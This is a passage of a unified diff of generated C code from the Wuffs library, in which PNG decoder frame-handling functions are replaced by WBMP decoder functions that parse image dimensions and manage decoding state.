self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -+ wuffs_base__image_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -+ (const void*)(&wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_wbmp__decoder* -+wuffs_wbmp__decoder__alloc(void) { -+ wuffs_wbmp__decoder* x = -+ (wuffs_wbmp__decoder*)(calloc(1, sizeof(wuffs_wbmp__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_wbmp__decoder__initialize( -+ x, sizeof(wuffs_wbmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; - } -+ return x; -+} - -- goto suspend; -- suspend: -- self->private_impl.p_decode_trns[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_trns[0].v_i = v_i; -- self->private_data.s_decode_trns[0].v_n = v_n; -+size_t -+sizeof__wuffs_wbmp__decoder(void) { -+ return sizeof(wuffs_wbmp__decoder); -+} - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+// ---------------- Function Implementations -+ -+// -------- func wbmp.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_wbmp__decoder__get_quirk( -+ const wuffs_wbmp__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; - } - -- return status; -+ return 0u; - } - --// -------- func png.decoder.decode_frame_config -+// -------- func wbmp.decoder.set_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_png__decoder__decode_frame_config( -- wuffs_png__decoder* self, -- wuffs_base__frame_config* a_dst, -+wuffs_wbmp__decoder__set_quirk( -+ wuffs_wbmp__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func wbmp.decoder.decode_image_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_wbmp__decoder__decode_image_config( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); -@@ -56757,7 +70789,7 @@ wuffs_png__decoder__decode_frame_config( - return wuffs_base__make_status(wuffs_base__error__bad_argument); - } - if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 2)) { -+ (self->private_impl.active_coroutine != 1)) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); - } -@@ -56766,17 +70798,17 @@ wuffs_png__decoder__decode_frame_config( - - wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - - while (true) { - { -- wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame_config(self, a_dst, a_src); -+ wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_image_config(self, a_dst, a_src); - v_status = t_0; - } - if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_png__error__truncated_input); -+ status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); - goto exit; - } - status = v_status; -@@ -56784,14 +70816,14 @@ wuffs_png__decoder__decode_frame_config( - } - - ok: -- self->private_impl.p_decode_frame_config[0] = 0; -+ self->private_impl.p_decode_image_config = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -+ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; - - goto exit; - exit: -@@ -56801,17 +70833,19 @@ wuffs_png__decoder__decode_frame_config( - return status; - } - --// -------- func png.decoder.do_decode_frame_config -+// -------- func wbmp.decoder.do_decode_image_config - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__do_decode_frame_config( -- wuffs_png__decoder* self, -- wuffs_base__frame_config* a_dst, -+wuffs_wbmp__decoder__do_decode_image_config( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint32_t v_checksum_have = 0; -+ uint8_t v_c8 = 0; -+ uint32_t v_i = 0; -+ uint32_t v_p = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -56824,392 +70858,88 @@ wuffs_png__decoder__do_decode_frame_config( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; -+ if (coro_susp_point) { -+ v_i = self->private_data.s_do_decode_image_config.v_i; -+ v_p = self->private_data.s_do_decode_image_config.v_p; -+ } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if ((self->private_impl.f_call_sequence & 16u) != 0u) { -+ if (self->private_impl.f_call_sequence != 0u) { - status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); - goto exit; -- } else if (self->private_impl.f_call_sequence == 32u) { -- } else if (self->private_impl.f_call_sequence < 32u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_png__decoder__do_decode_image_config(self, NULL, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } else if (self->private_impl.f_call_sequence == 40u) { -- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -- status = wuffs_base__make_status(wuffs_base__error__bad_restart); -- goto exit; -- } -- } else if (self->private_impl.f_call_sequence == 64u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- status = wuffs_png__decoder__skip_frame(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } -- if (self->private_impl.f_metadata_fourcc != 0u) { -- self->private_impl.f_call_sequence = 48u; -- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -- goto ok; - } -- if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { -- self->private_impl.f_frame_rect_x0 = self->private_impl.f_first_rect_x0; -- self->private_impl.f_frame_rect_y0 = self->private_impl.f_first_rect_y0; -- self->private_impl.f_frame_rect_x1 = self->private_impl.f_first_rect_x1; -- self->private_impl.f_frame_rect_y1 = self->private_impl.f_first_rect_y1; -- self->private_impl.f_frame_config_io_position = self->private_impl.f_first_config_io_position; -- self->private_impl.f_frame_duration = self->private_impl.f_first_duration; -- self->private_impl.f_frame_disposal = self->private_impl.f_first_disposal; -- self->private_impl.f_frame_overwrite_instead_of_blend = self->private_impl.f_first_overwrite_instead_of_blend; -- } else { -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_frame_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_frame_config[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -- if (num_bits_0 == 24) { -- t_0 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -- } -- } -- self->private_impl.f_chunk_length = t_0; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- uint32_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_frame_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_frame_config[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -- if (num_bits_1 == 24) { -- t_1 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)) << 56; -- } -- } -- self->private_impl.f_chunk_type = t_1; -- } -- if (self->private_impl.f_chunk_type == 1145980233u) { -- if (self->private_impl.f_chunk_length != 0u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- uint32_t t_2; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_decode_frame_config[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_do_decode_frame_config[0].scratch; -- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -- if (num_bits_2 == 24) { -- t_2 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_2 += 8u; -- *scratch |= ((uint64_t)(num_bits_2)) << 56; -- } -- } -- v_checksum_have = t_2; -- } -- if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != 2187346606u)) { -- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); -- goto exit; -- } -- self->private_impl.f_call_sequence = 96u; -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } else if (self->private_impl.f_chunk_type == 1413571686u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } else if (self->private_impl.f_chunk_type == 1280598886u) { -- self->private_impl.f_frame_config_io_position = ((uint64_t)(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) - 8u)); -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- status = wuffs_png__decoder__decode_fctl(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- self->private_data.s_do_decode_frame_config[0].scratch = 4u; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- if (self->private_data.s_do_decode_frame_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_frame_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_do_decode_frame_config[0].scratch; -- break; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -- status = wuffs_png__decoder__decode_other_chunk(self, a_src, true); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- if (self->private_impl.f_metadata_fourcc != 0u) { -- self->private_impl.f_call_sequence = 48u; -- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -- goto ok; -- } -- self->private_data.s_do_decode_frame_config[0].scratch = 4u; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -- if (self->private_data.s_do_decode_frame_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_do_decode_frame_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -+ v_i = 0u; -+ while (v_i < 2u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- iop_a_src += self->private_data.s_do_decode_frame_config[0].scratch; -- self->private_impl.f_chunk_length = 0u; -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; - } -- } -- if (a_dst != NULL) { -- wuffs_base__frame_config__set( -- a_dst, -- wuffs_base__utility__make_rect_ie_u32( -- self->private_impl.f_frame_rect_x0, -- self->private_impl.f_frame_rect_y0, -- self->private_impl.f_frame_rect_x1, -- self->private_impl.f_frame_rect_y1), -- ((wuffs_base__flicks)(self->private_impl.f_frame_duration)), -- ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)), -- self->private_impl.f_frame_config_io_position, -- self->private_impl.f_frame_disposal, -- ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns), -- self->private_impl.f_frame_overwrite_instead_of_blend, -- 0u); -- } -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); -- self->private_impl.f_call_sequence = 64u; -- -- ok: -- self->private_impl.p_do_decode_frame_config[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- -- return status; --} -- --// -------- func png.decoder.skip_frame -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__skip_frame( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint32_t v_seq_num = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -- -- uint32_t coro_susp_point = self->private_impl.p_skip_frame[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- self->private_impl.f_chunk_type_array[0u] = 0u; -- self->private_impl.f_chunk_type_array[1u] = 0u; -- self->private_impl.f_chunk_type_array[2u] = 0u; -- self->private_impl.f_chunk_type_array[3u] = 0u; -- while (true) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- continue; -+ if (v_c8 != 0u) { -+ status = wuffs_base__make_status(wuffs_wbmp__error__bad_header); -+ goto exit; - } -- self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); -- if (self->private_impl.f_chunk_type == 1413563465u) { -- if (self->private_impl.f_chunk_type_array[0u] == 102u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_type_array[0u] = 73u; -- self->private_impl.f_chunk_type_array[1u] = 68u; -- self->private_impl.f_chunk_type_array[2u] = 65u; -- self->private_impl.f_chunk_type_array[3u] = 84u; -- } else if (self->private_impl.f_chunk_type == 1413571686u) { -- if (self->private_impl.f_chunk_type_array[0u] == 73u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_type_array[0u] = 102u; -- self->private_impl.f_chunk_type_array[1u] = 100u; -- self->private_impl.f_chunk_type_array[2u] = 65u; -- self->private_impl.f_chunk_type_array[3u] = 84u; -- if (self->private_impl.f_chunk_length < 4u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length -= 4u; -- iop_a_src += 8u; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 2u) { -+ v_p = 0u; -+ while (true) { - { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_skip_frame[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_skip_frame[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -- if (num_bits_0 == 24) { -- t_0 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -- } -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- v_seq_num = t_0; -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; - } -- if (v_seq_num != self->private_impl.f_next_animation_seq_num) { -- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); -- goto exit; -- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { -- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); -+ v_p |= ((uint32_t)(((uint8_t)(v_c8 & 127u)))); -+ if (((uint8_t)(v_c8 >> 7u)) == 0u) { -+ break; -+ } else if (v_p > 131071u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); - goto exit; - } -- self->private_impl.f_next_animation_seq_num += 1u; -- self->private_data.s_skip_frame[0].scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 4u); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- if (self->private_data.s_skip_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_skip_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_skip_frame[0].scratch; -- self->private_impl.f_chunk_length = 0u; -- continue; -- } else if (self->private_impl.f_chunk_type_array[0u] != 0u) { -- break; -- } else if (self->private_impl.f_chunk_type == 1280598886u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -+ v_p <<= 7u; - } -- self->private_data.s_skip_frame[0].scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (self->private_data.s_skip_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_skip_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ if (v_i == 0u) { -+ self->private_impl.f_width = v_p; -+ } else { -+ self->private_impl.f_height = v_p; - } -- iop_a_src += self->private_data.s_skip_frame[0].scratch; -- self->private_impl.f_chunk_length = 0u; -+ v_i += 1u; -+ } -+ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -+ if (a_dst != NULL) { -+ wuffs_base__image_config__set( -+ a_dst, -+ 2198077448u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height, -+ self->private_impl.f_frame_config_io_position, -+ true); - } -- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); - self->private_impl.f_call_sequence = 32u; - -+ goto ok; - ok: -- self->private_impl.p_skip_frame[0] = 0; -+ self->private_impl.p_do_decode_image_config = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_skip_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_decode_image_config.v_i = v_i; -+ self->private_data.s_do_decode_image_config.v_p = v_p; - - goto exit; - exit: -@@ -57220,17 +70950,14 @@ wuffs_png__decoder__skip_frame( - return status; - } - --// -------- func png.decoder.decode_frame -+// -------- func wbmp.decoder.decode_frame_config - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_png__decoder__decode_frame( -- wuffs_png__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -+wuffs_wbmp__decoder__decode_frame_config( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -@@ -57240,12 +70967,12 @@ wuffs_png__decoder__decode_frame( - ? wuffs_base__error__disabled_by_previous_error - : wuffs_base__error__initialize_not_called); - } -- if (!a_dst || !a_src) { -+ if (!a_src) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__bad_argument); - } - if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 3)) { -+ (self->private_impl.active_coroutine != 2)) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); - } -@@ -57254,22 +70981,17 @@ wuffs_png__decoder__decode_frame( - - wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - - while (true) { - { -- wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame(self, -- a_dst, -- a_src, -- a_blend, -- a_workbuf, -- a_opts); -+ wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame_config(self, a_dst, a_src); - v_status = t_0; - } - if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_png__error__truncated_input); -+ status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); - goto exit; - } - status = v_status; -@@ -57277,14 +70999,14 @@ wuffs_png__decoder__decode_frame( - } - - ok: -- self->private_impl.p_decode_frame[0] = 0; -+ self->private_impl.p_decode_frame_config = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; - - goto exit; - exit: -@@ -57294,24 +71016,16 @@ wuffs_png__decoder__decode_frame( - return status; - } - --// -------- func png.decoder.do_decode_frame -+// -------- func wbmp.decoder.do_decode_frame_config - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__do_decode_frame( -- wuffs_png__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -+wuffs_wbmp__decoder__do_decode_frame_config( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint32_t v_seq_num = 0; -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- uint32_t v_pass_width = 0; -- uint32_t v_pass_height = 0; -- - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -57323,210 +71037,62 @@ wuffs_png__decoder__do_decode_frame( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if ((self->private_impl.f_call_sequence & 16u) != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- goto exit; -- } else if (self->private_impl.f_call_sequence >= 96u) { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } else if (self->private_impl.f_call_sequence != 64u) { -+ if (self->private_impl.f_call_sequence == 32u) { -+ } else if (self->private_impl.f_call_sequence < 32u) { - if (a_src) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_png__decoder__do_decode_frame_config(self, NULL, a_src); -+ status = wuffs_wbmp__decoder__do_decode_image_config(self, NULL, a_src); - if (a_src) { - iop_a_src = a_src->data.ptr + a_src->meta.ri; - } - if (status.repr) { - goto suspend; - } -- } -- while (true) { -- if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- continue; -- } -- self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); -- if (self->private_impl.f_chunk_type == 1413563465u) { -- self->private_impl.f_chunk_type_array[0u] = 73u; -- self->private_impl.f_chunk_type_array[1u] = 68u; -- self->private_impl.f_chunk_type_array[2u] = 65u; -- self->private_impl.f_chunk_type_array[3u] = 84u; -- iop_a_src += 8u; -- if ( ! self->private_impl.f_ignore_checksum) { -- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); -- } -- break; -- } else if (self->private_impl.f_chunk_type == 1413571686u) { -- self->private_impl.f_chunk_type_array[0u] = 102u; -- 